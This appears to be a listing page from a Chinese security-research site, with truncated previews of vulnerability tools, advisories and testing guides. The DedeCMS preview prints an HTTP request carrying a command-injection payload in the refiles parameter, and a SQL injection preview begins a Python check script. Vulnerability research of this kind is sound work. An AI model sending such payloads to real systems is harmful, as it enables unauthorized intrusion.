秃兔
【工具】ActiveMqRCE漏洞检测工具
此分类下所有工具都来源于互联网公开收集整理，请将工具用于安全研究、本地虚拟机环境测试。请勿从事互联网非法测试！！！ 在使用本工具进行检测时，您应确保该行为符合当地的法律法规，并且已...
【渗透文库】注销场景业务逻辑测试
测试描述：通过抓包工具分析注销场景的接口内容及工作流程，逐条实施案例验证是否存在业务逻辑漏洞。若场景涉及认证要素，则参考对应的认证要素测试方式。 测试标签：WEB应用安全测试 业务场景...
DedeCMSV5.7.114后台sys_verizes.php存在远程代码执行漏洞
GET /dede/sys_verifies.php?action=getfiles&refiles[]=123${${print%20whoami}} HTTP/1.1Host: 127.0.0.11User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100...
捷诚管理信息系统 SQL注入漏洞
import timeimport requests def verify(ip):url = f'{ip}EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx’headers = { 登录可见余下内容
紫兔网络安全流量日志自动化分析研判
2025 基于只能分析BT日志的紫兔BT日志分析V1重构紫兔网络安全流量日志自动化分析研判V2 V3版本完成火山引擎的Deepseek-R1接入 + 增加实时可视化图表（饼图+曲线图） + 在原有规则基础上增加 31 ...
